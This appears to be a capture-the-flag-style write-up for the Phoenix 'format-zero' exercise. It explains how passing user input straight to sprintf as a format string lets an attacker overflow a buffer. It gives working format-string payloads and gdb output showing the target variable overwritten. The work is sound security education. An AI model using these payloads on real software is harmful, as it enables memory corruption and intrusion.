04 February 2019

Format 0

Write-up for: Format Zero

The goal is to change the changeme variable of the locals struct. Data is read from stdin to the local buffer array. It is properly bounds checked and null-terminated. Then, data from the buffer variable is written to locals.dest using sprintf.

We can confirm that the read is properly bounds-checked:

user@phoenix-amd64:/opt/phoenix/i486$ python -c 'print "A"*33' | ./format-zero
Welcome to phoenix/format-zero, brought to you by https://exploit.education
Uh oh, 'changeme' has not yet been changed. Would you like to try again?

The bug

The usage of sprintf is incorrect:

sprintf(locals.dest, buffer);

This call does not make use of format strings (sprintf(dest, "%s", buffer);) but directly uses user input as the format string. Thus, as an attacker, we can provide a string as input containing format specifiers.

user@phoenix-amd64:/opt/phoenix/i486$ python -c 'print "%s"*16' | ./format-zero
Welcome to phoenix/format-zero, brought to you by https://exploit.education
Segmentation fault

Depending on the format string, this can lead to a crash. Or, in another case:

user@phoenix-amd64:/opt/phoenix/i486$ python -c 'print "%x"*8' | ./format-zero
Welcome to phoenix/format-zero, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed!

What happened here?

Analysis

The length of the user provided buffer does not matter since we can use format string modifiers to define the length of what is written by sprintf. By doing so, we can have user input shorter that 15 characters but overflow the dest buffer by generating a longer string.

To precisely overwrite changeme we need our string to have 32 characters of padding and then a 4-byte value we want changeme to be.

Let’s confirm this theory with gdb. First we need to find out where changeme is stored:

0x08048584 <+79>:    mov    DWORD PTR [ebp-0xc],0x0

This instruction sets changeme to zero. It is located at ebp-0xc = 0xffffd5ec. Let’s run with our payload and look at that word on the stack:

(gdb) run < <(python -c 'print "%32xAAAA"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/phoenix/i486/format-zero < <(python -c 'print "%32xAAAA"')

(gdb) x/xw $ebp-0xc
0xffffd5ec:     0x41414141

There are our A’s. Done :).